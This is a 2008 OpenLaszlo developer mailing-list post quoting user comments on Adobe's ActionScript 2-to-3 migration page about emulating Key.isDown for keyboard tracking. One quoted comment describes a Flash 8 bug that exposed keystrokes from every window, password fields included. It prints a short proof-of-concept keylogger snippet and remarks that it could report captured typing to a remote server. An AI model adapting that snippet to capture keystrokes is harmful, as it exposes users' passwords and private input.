[Laszlo-dev] some user comments on the Adobe AS2 migration page
Henry Minsky
henry.minsky at gmail.com
Tue Feb 26 19:13:53 PST 2008
In the Adobe AS2/3 migration page (
http://livedocs.adobe.com/flex/2/langref/migration.html, thanks Andre!) ,
there is a user comment
about implementing proper tracking of which keys are down, we will need to
implement something like this:
What all of the examples for Key.isDown emulation are missing are
Event.DEACTIVATE and Event.ACTIVATE handlers. These will let you know when
Flash loses OS-level application focus and allow you to clear your cached
keyboard status, and for that matter pause your game. Otherwise, the
following sequence will cause you to get sticky keys:
1. Hold down a key
2. Cause application focus to change
3. Release the key
4. Put application focus back on Flash.
As for calling Key.isDown(), you can write a tiny AS2 applet that opens up a
LocalConnection and sends the pertinent Key.isDown() status to an AS3
application that embeds and instantiates it, and listens on the
LocalConnection for that data.
The security issue (Key.isDown() would return key status status on EVERY
window, no matter who had focus, including password fields) has been FIXED
in Player 9. HOWEVER, since Flash 8 and 'Adobe Flash 9 Public Alpha' both
still invoke a Flash 8 debugger that has the bug in it, you need to be
careful of running sample code, and make absolutely certain your file
associations stay straight with Flash 9, because Flash 8 'steals' the swf
file association whenever it gets run under Windows, so the universal
keylogger security bug keeps coming back if you're switching between AS2 and
AS3 work.
The fact that the Key.isDown security issue is FIXED in Flash 9 begs the
question of why such a useful function was removed in the first place.
Here is code (two files) that calls the AS2 Key.isDown from AS3:
// test.as compile with: mxmlc -compiler.debug=true test.as
// run with fdb test.swf to see log statements
package
{
import flash.display.Sprite;
import flash.events.Event;
import flash.events.KeyboardEvent;
import flash.ui.Keyboard;
import flash.net.LocalConnection;
// Properties for base Sprite (main)
[SWF( backgroundColor='0x000000', frameRate='10', width='320',
height='240')]
public class test extends Sprite
{
[Embed(source="as2/as2parts.swf")]
private var as2parts:Class;
private var keypipe : LocalConnection = new LocalConnection();
private static var keybits : uint = 0;
private static var prevbits : uint = 0;
private static var downbits : uint = 0;
private static var upbits : uint = 0;
// This needs to match 'var pollList : Array' in as2parts
// Makes me want to make a preprocessor skew
public const CONTROL: uint = 0x01;
public const SHIFT : uint = 0x02;
public const LEFT : uint = 0x04;
public const RIGHT : uint = 0x08;
public const UP : uint = 0x10;
public const DOWN : uint = 0x20;
public function test()
{
keypipe.client = this;
keypipe.allowDomain("*");
keypipe.connect("as2pipe");
stage.addEventListener( Event.ENTER_FRAME, enterFrame );
addChild(new as2parts);
}
private function enterFrame( event: Event ): void
{
trace( "Keys: " + keybits );
}
// RMI from AS2 code
public function xstatus( bits:Number ) : void
{
//trace( "Status: " + bits );
prevbits = keybits;
keybits = uint(bits);
// Record keys pressed since last time keys polled by app
downbits |= (keybits ^ prevbits) & keybits;
// Record keys released since last time keys polled by app
upbits |= (keybits ^ prevbits) & prevbits;
}
// Get a mask of keys that are down
public function isKeyDown():uint
{
return keybits;
}
// Get a mask of keys that were down last time
public function lastKeyDown():uint
{
return prevbits;
}
// Get a mask of keys that have been pressed since last time keysPressed was
called
public function keysPressed():uint
{
var ret:uint = downbits;
downbits = 0;
return ret;
}
// Get a mask of keys that have been released since last time keysReleased
was called
public function keysReleased():uint
{
var ret:uint = upbits;
upbits = 0;
return ret;
}
}
}
// In as2/as2parts.fla, in Layer 1 : Frame 1
/**
* Send a small sample of keyboard status to main application
* Keep 'frame rate' at 20 FPS. That's 'instant' response to a human.
**/
import Key;
import LocalConnection;
var pollList : Array = new Array
(
Key.CONTROL,
Key.SHIFT,
Key.LEFT,
Key.RIGHT,
Key.UP,
Key.DOWN
);
_visible = false;
function onEnterFrame():Void
{
var output:Number = 0;
for( var i:Number = 0; i < pollList.length; ++i )
{
if( Key.isDown(pollList[i]) )
{
output |= (1<<i);
}
}
var pipeline:LocalConnection = new LocalConnection();
pipeline.allowDomain("*");
pipeline.send( "as2pipe", "xstatus", output );
}
This is a flash 8 animation with a big multiline 'Dynamic Text' field named
'ShowMe', and with a frame rate of 120 to keep up with typing. With a little
more polish (to translate the character codes better when shift is down,
etc.) it would log everything typed verbatim. It could then report the
output (everything the user typed, anywhere) to a remote server.
import Key;
var states:Array /*Boolean*/ = new Array(26);
function onEnterFrame():Void
{
for( var ch:Number = 1; ch <= 256; ++ch )
{
if( Key.isDown(ch) )
{
if( !states[ch-65] )
{
_level0.ShowMe.text += String.fromCharCode(ch);
states[ch-65] = true;
}
}
else
{
states[ch-65] = false;
}
}
}
* pingnak said on Apr 2, 2007 at 11:34 AM : *
Here is code that emulated the Key.isDown() behavior correctly, and can
pause the game when Flash loses application focus, so you can put up an
appropriate prompt to get focus back.
package
{
import flash.display.Sprite;
import flash.events.Event;
import flash.events.KeyboardEvent;
import flash.ui.Keyboard;
// Properties for base Sprite (main)
[SWF( backgroundColor='0x000000', frameRate='10', width='320',
height='240')]
public class test extends Sprite
{
private var keybits : Array /*uint*/ = new Array( 256 );
public var bPaused : Boolean = true;
public function test()
{
stage.frameRate = 10;
stage.addEventListener( Event.ENTER_FRAME, enterFrame );
stage.addEventListener( KeyboardEvent.KEY_DOWN, keyDown );
stage.addEventListener( KeyboardEvent.KEY_UP, keyUp );
stage.addEventListener( Event.ACTIVATE , appActivate );
stage.addEventListener( Event.DEACTIVATE, appDeactivate );
trace(this);
}
private function enterFrame( event: Event ): void
{
// Called by timer setup in main()
trace( "Ctrl:" + isKeyDown(Keyboard.CONTROL) + " Shift:" + isKeyDown(
Keyboard.SHIFT) );
}
public function isKeyDown( scancode:int ):Boolean
{
return true == Boolean(keybits[scancode]);
}
private function keyDown( event:KeyboardEvent ) : void
{
// Update key array
keybits[event.keyCode] = true;
}
private function keyUp( event:KeyboardEvent ) : void
{
// Update key array
keybits[event.keyCode] = false;
}
private function appActivate( event:Event ) : void
{
bPaused = false;
}
private function appDeactivate( event:Event ) : void
{
// Flush all key-down state
keybits = new Array( 256 );
bPaused = true;
}
}
}
**
--
Henry Minsky
Software Architect
hminsky at laszlosystems.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://www.openlaszlo.org/pipermail/laszlo-dev/attachments/20080226/cd59c10c/attachment.html
More information about the Laszlo-dev
mailing list